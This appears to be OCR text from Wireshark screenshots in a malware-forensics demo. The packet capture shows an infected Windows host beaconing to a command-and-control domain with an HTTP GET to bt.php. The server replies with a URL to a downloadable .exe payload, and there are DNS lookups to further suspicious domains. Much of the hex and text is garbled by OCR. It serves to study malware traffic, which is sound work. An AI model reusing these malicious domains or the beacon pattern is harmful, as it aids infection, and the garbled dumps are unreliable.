161 47.728140 213.155.4.82 192.168.1.118 TCR [TcR segment of a reassembled PoU]
162 47.735707 213.155.4.82 192.168,1.118 it [TcP segment of a reassembled pPou]
163 47. 737068 192.168.1.118 2L 4 TCP wiremotertm > http [AcK] Sel 22 Ack=2143 wWin=64240 Len=0
a P
| |
B Transmission Control Protocel, Src Port: http (80), Dst Port: wiremotertm (L046), Seq: 2143, Ack: 122, Len: 1460 ﬂ
Source port: http (800 |
e =Ny T S PPN
T30 UE CW UE U BY BZ 3L [ B3 48 81 U7 §I U0 IT Bl &
0140 29 fd 0% db 10 83 26 52 10 6d 88 9% £f 7d dd 85
0150 03 6b a0 49 cf d2 Sb 40 19 ca 07 bo 73 of 11 97
0160 19 1h 13 29 9e 3a 6a ae a7 f7 37 a4 74 e4 7h 74
0170 50 1f de 1d f2 35 d4e 8¢ 07 56 hbd 7h 72 ce f3 8¢
0180 29 06 b5 88 40 27 36 e8 0¢ 62 8¢ 81 53 0C 06 a3
0150 3b 25 ¢l Oe le 10 2a 23 67 o7 Ge da h§ B2 &6 of
0la0 88 le 27 c9 43 5e bl 10 cf 3e ds 21 4a f7 <4 76
01b0 dc 85 94 fh 86 bf 1f fd a6 ae d8 5c 30 3e b b8
01c0  5c 22 82 a0 80 34 00 4d 73 f2 6e hd ea 32 34 <7
010 b8 c% c2 4e B8 e2 4c 2e 90 25 8b c0 64 8 <
0120 aa fh el 2b 2f 62 78 a3 54 e6 60 3f 19 95 06 ol
010 5e c8 20 e6 ah &6d 15 3b 92 a0 fhb f6 28 74 b7 d2
0200 70 19 fd a0 7h 76 43 d0  5d a3 Of 76 39 15 48
0210 de 68 7d 89 db 93 c4 69 34 bf 60 5c 34 18 7h T4
0220 69 1b 44 ad al 88 7d ef 29 8c 75 74 a2 bd fc 81
0230 26 7a 0a f9 0d cf 40 2d 68 92 43 2f ab 20 7f 03
0240 75 51 ad 7b 78 42 41 b9 87 78 Sa db b 56 7T 48
0250 1d 0a fc 2e 58 3c 3b 80 ce 7f 2 7e a0 71 7d
0260 <2 ab 91 3b 5a a5 24 39 ee be 55 ea 15 75 56 61
0270 f8 cd 40 fa 3¢ 7c bc 1b fb ae 85 &b 23 03 bl el
0280 af 42 1e 4c 20 43 44 dé 02 5a cl 17 ef c4 48
0290 ¢3 88 ca 00 05 87 0c 00 5 9l gh 16 95 4d fa 45
0220 8F 19 4f 77 5c 93 de Se ee Of 76 dd d3 be 6d 97
02h0 47 £7 98 4¢ 3e a4 4d 34 35 20 4k ch 36 46 10 <6
02c0 5 5F 3e bc £3 Bc 1a el 9c 91 bf 70 4f 2d 08 97
02c0 25 a0 o4 64 44 31 99 73 1la ed 46 51 2a 56 17 8a
0220 b6 55 46 aa el &1 8c 7f f2 4c f0 42 79 8 d9 %e
02f0 39 be 03 de ef 3c 59 0a 8l a0 5h ac f7 73 38 ad -
0300 <O 7d 58 ac de e5 2b d0 31 1c 12 aa 15 ec 49 ae
0310 aa 4c 8d 9a e0 o7 a4 6a B7 00 17 7e 73 4d 2c 3
0320 ca 85 e9 a9 6a 14 79 9b 30 BcC 46 45 79 90 f4 23
0330 dd 82 be c6 60 62 31 f1 63 48 &6f d7 06 5c 14 &0
0340 21 fd 09 8b 11 83 26 42 10 od 88 82 fd 7d ad da
0350 00 6b a0 &9 cd d2 5b 30 la ca 07 bo &6 1c 11 87
0360 19 1h 13 2b 92 3a 62 ae a7 7 37 a4 74 e4 7F 74
0370 50 1f de 1d £2 35 4e 0c 04 56 hbd 6k 72 ce 3 8¢
0380 &2 06 b7 88 40 25 36 e8 1¢ 6 8C 91 53 0C 06 a3
0350 2b e5 cl le le 10 2a 23 7 e7 Be da by 82 66 9F
03a0 88 le 27 c9 43 52 bl 60 cc 3e fl 20 42 f7 <4 76
03b0  dc 85 94 fb 96 bf 1f fd a6 ae d8 5c 30 3e b b8
030 5C 22 82 a0 80 34 00 4d 73 f2 ée hd ea 32 34 <7
0300 b8 % 2 4e B8 £2 4c 2e 90 25 8b c0 64 8
0320 aa fb 61 2b 2f 62 78 a3 4 26 60 3F 19 595 06 dl ;l

._sniff peap” 1377 KB O0:15:58 | Packets: 2829 Displayed; 2629 Marked: 0

| f imunes | . Netwitress Irwestigator al el pdf_ex_sniff.pcap - 4 getting magic number f.. .h ﬁ
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pdf_ex_sniff.pcap - Wireshark (=]

Flle Edt Yiew Gb Copture Analyze  Shatistics Help
BEHeM DERIE| ST L laaaf| ¥EB x| 8
Eilter: | *  Expression... ear Apply
fla. - | Time: |Suur:e |Dest_ﬂ_wal\un |Fmtui:cl |1nfu ﬁ‘
TS 47, 08AT60 192, 168 L IT8 A A T A e STUFCE port: BIackjack  Destination port: s30T
152 42.501901 Cisco-Li_fc:09:68  Broadcast ARP who has 192.168.1.1187 Tell 192.168.1.1
153 42.502122 Masstech 00:19:25 Cisco-Li_fc:09:68 ARP 192.168.1.118 is at 00:09:58:00:19:25 =
4
[ n — rnenr s nnr et S
]
Proto Ini: (), 1460 bytes | Packets: 2829 Displayed; 2620 Marked: 0 4
fsen| mO B EE %SG Rl E | Bor 2 iTunes 2, NetWitross Investigator & [ pdf_ex_sniftpcap i connect to Ukranian ... {6 8 2 SRR E@D (RN Tioem
ST
Flle Edt Yiew Gb Copture Analyze  Shatistics Help
gEaes DEEBLE | aernTF L EE|QQAl EEE X O
Eilter: [ *  Expression... ear Apply
i, - | Time: |Suur:e |Desmwauun |Fmtui:cl |1nfu
161 47.728140 213.155.4.82 192.168.1.118 TCP [TcP segment of a reassembled Pouj
B L. 1] —
163 47.737063 192.168.1.118 2131155482 TCP 22 Ack=2143 Win=64240 Len=0

i _ |
= Transmission control Protocol, src Port: http (80), Dst Port: wiremotertm (1046), Seq: 1461, ack: 122, Len: 682
Source port: http (807
0000 00 0F 5e 00 10 75 00 1a 70 fc 0F 68 08 00 45 00
o2 b2

n7dn 33 37 25 23 23 31 32
File; "Ciirodeme FlesiRAM imagesipdfipf_ex_sniff peap” 1377 KB 00:15:58

fset| mO - BDEE%RRG OEE

w
N
o
o
&
3
o
5

| Packets: 2829 Displayed; 2620 Marked: 0

| %, Nettifitness Tnvestigator al 1 pdf_ex_sniffpeap ... | gettingmagic number f... ||dp 3 RS E@E TR 7

% pa




cap - Wireshark _(81%]

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

aeewngiEElacan | E2m xR

Eiters | ~  Expression.. Clear Anply
i, - |T\me iSDurce |Destmauun |Prumu\ |1nfu =
590 167, 922671 192.168.1.11 229,259,299,299 (i) SOUFCE pOrt: HIAcKj4ck Destination port: 34012
591 170057385  192.168.1.118 102.168.1.1 DNS standard cuery A af9f440dcc. com —
502 170.418408 192.168.1.118 1255.255.255:255 upp Source port: blackjack Destiration port: 34012
593 170, 810338  192.168.1.1 102.168.1. 118 DHS Standard guary response A 83.133.127.5
594 171.127407 192.168.1.118 afof440dcc. com TP cma > http [SYN] Seq=0 wWin=64240 Len=0 M55=1460
595 171.336301 afofad0dce. com 192.168.1.118 TCRP http » cma [SYn, Ack] Seq 0 Ack =1 win=5840 Len=0 Ms5=1460
.336972  192.168.1. 118 afoMDdcc cam ama > http [ack] Se:
5 EiE m ; mod=&
.501376  afofddodee. com 107.168.1.116 TCR REtp » cma [ACK] Se -l
i) |
[Good: True]
[Bad : False]
source: 192.163.1.118 (192.168.1.118)
pestination: afsfadodcc. com (83.133.127.5) =1
© Transmission Control Protocel, Src Port: ama (1050), Dst Port: http (80), Seq: 1, Ack: 1, Len: 254
SOUFCe port: cma 10500 j
0000 00 Ta ¢0 T< 00 68 00 00 e 00 1G 25 08 00 45 00 T “%. .E.
0010 01 26 01 bd 40 00 30 EH 63 75 c0 a8 01 76 53 85 SVS.
0020 7F 05 04 1a Q0 50 50 e0 OF 05 3b ae 1c od 50 18 PR .
0030 fa 0 3a 37 00 00 47 45 54 20 2F 62 74 2e 70 68
0040 70 3f 6d 6F 64 3d 26 69 64 3d 76 69 72 74 77 69  prmod=&i d=virtwi
0050 62 78 70 5F 2d 37 33 32 33 3933 38 33 31 26 75 nxp_-732 393831&u
0060 70 3d 37 36 30 32 30 33 26 6d 69 64 3d 73 of 62  p=760203 &mid=sob
0070 6F 63 34 33 20 48 54 54 50 2F 31 2e 31 od 0a 41  0cd3 HTT PAL.1..A
0080 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 63 65  ccept: * /¥, .Acce
0050 70 74 2d 45 Ge &3 6f 64 69 Be 67 3a 20 &7 7a 63 pr-Encod ing: gzi
0030 70 2c 20 64 65 65 6C 61 74 85 Od 0a 55 73 €5 72 p, defla te..User
00b0 2d 41 67 65 Ge 74 3a 20 4d &F 7a 69 6c 6c 61 2f  -Agent: Mozilla/
00c0 34 2e 30 20 28 63 of 6d 70 Gl 74 69 62 6C 65 3b 4.0 (com patible;
00d0 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 Ge &4 6F  MSIE 6. D; Windo
0020 77 73 20 4e 54 20 35 2¢ 31 3b 20 53 56 31 3b 20 ws NT 5. 1; Svl;
00F0 22 4e 45 54 20 43 4c 52 20 31 2e 31 2e 34 33 32 .NET clR 1.1.432
0100 32 25 0d Da 48 6F 73 74 3a 20 61 68 35 66 34 34 2)..Host : afSfdd
0110 30 64 63 63 2e 63 6f 60 0d Da 43 6F 6e 6e 65 63  Odcc.com ..cConnec
0120 74 65 6F Ge 3a 20 4b 65 65 70 2d 41 6C 69 76 65  Tion: ke ep-alive
0130 od 0a 0d 0a
Pratecol {ip.pretel, 1 byte | Packets: 2829 Displayed; 2623 Marked: 1 P
Zeseart| | B DE L a. el | Hoo S imunes %, Netiitness Investigator & || jil] pdf_ew_sniff.pcap ik comnecting ta 78,1094, [V T SRR A (ORI 7izapm
T.pcap - Wireshark D _1®ix|
File Edt Wiew Go Copture Anslyze  Stabistics  Help
7 = o ey e
B DERXIE A FL(EBEB AQAANO EEE X B
Eiters | ~  Expression.. Clear Anply
i, - |T\me iSDurce |Destmauun |Prumu\ |1nfu =
591 170.057385 192.168.1.11 15Z.168.1.1 DNS Etandard guery A aterd4ndec, com
592 170.418408  192.168.1.118 255,255, 255,255 UDR Source port: hlackjack Destimation pDr‘t 34012 —
593 170.810338 192.168.1.1 152.168.1.118 Dhs. Standard guery response A 83.133.127.
504 171.127407 192.168.1.118 afofadodcc. com TCP cma > http [SYN] Seq=0 Win=64240 Len= o MS5=1460
595 171.336301  af9f440dcc. com 192,168.1.118 TP http > cma [SYN, ACK] Seg=0 Ack=1 Win=3840 Len=0 M55=1460
595 171.336972  192.168.1.118 afof440dec. com TP
597 171.338579  192.168.1,118 afofa40dec. com HTTR  GET /bt.php?mod=8dd-vi rtwinxp_~7323938318up-7802038m 1 c=s0kocd3 HTTR/L.1
508 171. 501376  afofadodcc. com 192.168.1.118 TCP http > cma [Ack] Seq=l Ack=255 win=6432 Len=0

[Good: True] |
[Bad : False]
source: af9fa40dcc. com (83.133.127.5)
Destination: 192.168.1.118 (192.168.1.118)
o Transmission Control Protocol, Src Port: http €80), Dst Port: cma (10500, Seq: 1, Ack: 255, Len: 237
source port: http (800 =

0000 00 09 5e Q0 19 25 00 la 70 TC 09 68 OB 00 45 00
0010 01 15 38 6c 40 00 2f 06 7d ce 53 85 7f 05 cO a8
0020 01 76 00 50 04 1a 3b ae 1c¢ 9d 50 20 10 03 50 18
0030 19 2071 eQ 00 00 48 54 54 50 2f 31 2e 31 20 32
0040 30 30 20 4Ff 4b 0d 0a 54 7z 61 62 73 66 65 72 2d
0050 45 6e 63 &6f 64 69 6e 67 3a 20 63 68 75 6e 6b 63
0060 &4 Od 0a 58 2d 50 6F 77 €5 72 63 &4 2d 42 70 3a
0070 20 50 48 50 2f 35 2e 32 2e 36 0d Qa 43 of 6e 74
0080 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68
0090 74 6d 6c Od 0a 44 61 74 65 3a 20 53 61 74 2c 20
00a0 30 34 20 41 70 72 20 32 30 30 30 20 32 33 3a 35
0ob0 30 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72
0O0cO  3a 20 6c 62 67 68 74 74 70 64 2f 31 2e 34 2e 31
oodo 39 od 0a Od 0a 34 33 0d 0Oa 30 53 4C 50 3a 33 36 I

000 30 30 3b 4d 4f 44 3a 64 41 6a 76 62 76 35 3b 55 00;mop:d Ajwbviiu
oofo 52 4c 3a 68 74 74 70 3a 2f 2f 73 70 61 65 69 &F RL:htTp: //spaeio
0100 65 72 2e 63 6f 6d 2f 37 33 31 6¢C 33 2e 65 78 65 er.com/7 3113.exe
0110 3b 53 52 56 3a 73 74 6f 70 65 64 3b od 0a 30 od $SRvIsTO ped:..O
0120 0a 0d Qa

Frama (231 bytes) | De-chunked entity body (67 bytes) |
| File; "Cirddemo files\RAM imagesipdfipdf_ex_sniff.peap” 1377 KE 00:15:58 ‘ Packets: 2829 Displayed: 2629 Marked: 1 A

fsan| ED B EE R G RE |2 ot | 8 imunes | 2. netitress tvestigator &[] pof_ex_smiffpcap -~ | i t_knows_in_runring_m...|[§a 3 2 SRR H @IS (TR 7erm




_isix)

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

BEWBAE DERXEL | AeenT BB QAR #E0 X B
Eilter: | *  Expression... ear Apply
M, - | Time: iSDur:e |D?5tmat\un iPrutUc\:_\ |Infu ;J

786 236.661909 server Hello, certificate, sServer Hello bDone

afgfd4odcc. com

S5Lv3

1562.168.1.118

cap - Wireshark I 1= |
File Edit Yiew @Go Capture Analyze Statistics  Help
BB E EEXES LesaTE|EE|AQRR E00 K| 8
Biter: | >  Expression... Clear Apply
fio, - |nma |Saur[e |Dastmatmn |Pmtum¢ |[nfu i
1345 273. 576158 WL QCrT. COm 152.168.1.145 FER [TcP segment of a reassembled PDU]
1350 273. 576215 192.168.1.145 WL GCH. Com TCP 24853 > http [ACK] Seq=200 Ack=56541 win=17520 Len=0
1351 273.577810 www. gCri. com 152.168.1.145 HTTR HTTP/1.1 404 not Found (text/html)
1352 273. 740445 162.168.1.145 W, gCn. com TP 24853 » http [ACK] Seg=209 Ack=57701 Win=16760 Len=0
1353 273. 770623 192.168.1.118 22044, ¢, akamaiadge. net s5Lv3  Application Data
1354 273, 804528 22044, c. akamaiedge. net 152.168.1.118 55Lv3  Application Data a
: ; A = o 5

Win=0 Ler

M= 0
in=64240 Len=0

% rtran
4. coakamaie
AE

> % T CK ACK=2
cardax » https [ACK] Seq=32 ck=15342
standard guery A hipssrvice. live. com
standard guary A switc o c

52. i nwd. nat
1592.168.1.118 dye. net
192.168.1.118

19

192.168.1.1

26 SEa TARRTT s ek S e

Standard guery response CNAME hipserwice, 1ive.com.nsatc.net A 65.54.234.11
=estl [svi] B ) Lan: e

Pt maindudan FEvA ST GaReA el WA R | anen MEG=TA AN

= Reserved bit: not set
= pon't fragment: set
..0. = More fragments: Wot set
Fragment offset: ¢
Time to Tive: 64
Protocol: UDP (0x11)
Header checksum: 0xhéd? [correct]
[Good: True]
[Bad : False]
Source: Mountain (192.168.1.1)
pestination: 192.168.1.118 (192.168.1.118)
@ User Datagram Protocol, src Port: domain (53, Dst Port: ams (1037)
= Domain Mame System (responsel =l

i

0000 00 0% 58 00 19 25 00 1a 70 TC 02 68 08 0O 45 00
0010 00 42 00 00 40 00 40 11 bé d7 <0 a8 01 01 <0 a8

6c
0030 00 01 00 00 00 Q0 06 73 77 69 74 63 68 05 61 74
0040 64 6d 74 03 63 of 6d 00 00 0L 00 01 CO OcC 00D O1
0050 00 01 00 00 00 fO 00 04 41 ch e5 2c¢

pdf_ex_sniff.pcap - Wireshark _(81%]

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

BEWBAE DERXEL | AeenT BB QAR #E0 X B

Eilter: [ *  Expression... ear Apply

fla. - | Time: i Source | Destination i Prekoca] | Infg =
746 226.270986  192.168.1.118 UDR source part: blackjack Destination port: 34012
747.226,845290  192.168.1.118 ONS. standard query A www.microsoft.com =)
748 226.900807  192.168.1.1 DNS standard guery rasponse CNAME Toggle.www.ms.akadns, nat CHNAME . www.ms. akadns, nat CHave Thl.

745 227,

073960 192.16‘8.1:1
16¢

DS, standard guery response A 213.180.204.8
118 152,16 Y

752 227.389487  192.168.1.118 192.168.1.1 ONS  standard guery A mixmediadirect.en

753 227.737318  192.168.1.118 Vb1 www. ms . akadris. net TP bryread > http [SYn] Seq=0 win=64240 Len=0 MSS=1460
754 227.730782  192.168.1.1 152.168.1.118 DNS  standard guery response A 213.155.6.88

755 227.742284  192.168.1.118 mixmediadirect, cn TcP ansysimd > http [SVN] Seq=0 Win=64240 Len=0 MSS=1460

4 |

Time to Tiwe: 64

Protocol: UDP (Ox11)

Bl Header checksum: Oxbeez [correct] |
[Good: True]
[Bad : False]

Source: Mourtain (152.168.1.1) =
0000 00 09 se 00 10 25 00 1a 70 fc UG 68 08 00 45 00
0010 00 43 00 00 40 00 40 11 b6 22 cO aB 01 0l cO af
0020 01 76 00 35 04 od 00 2f 3 8d 3b 07 81 80 Q0 01
0030 00 01 00 00 00 00 02 79 &L 02 72 75 00 00 O1 00
0040 Q1 <0 0c 00 C1 00 01 00 00 1c 1f 00 04 d5 b4 <<
0050 08

File: "Citwdema FilesiRAM magestpdfipdl_ex_sniff, peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 1 4

Lrstart| | B BEl%sfa.leld | SdiTunes | %, Netiitness [nvestigatural {ll pdf_ex_sniftpeap - .. changing_dns_fo_rst.... |ig I S RGNS (DsY0h) radem




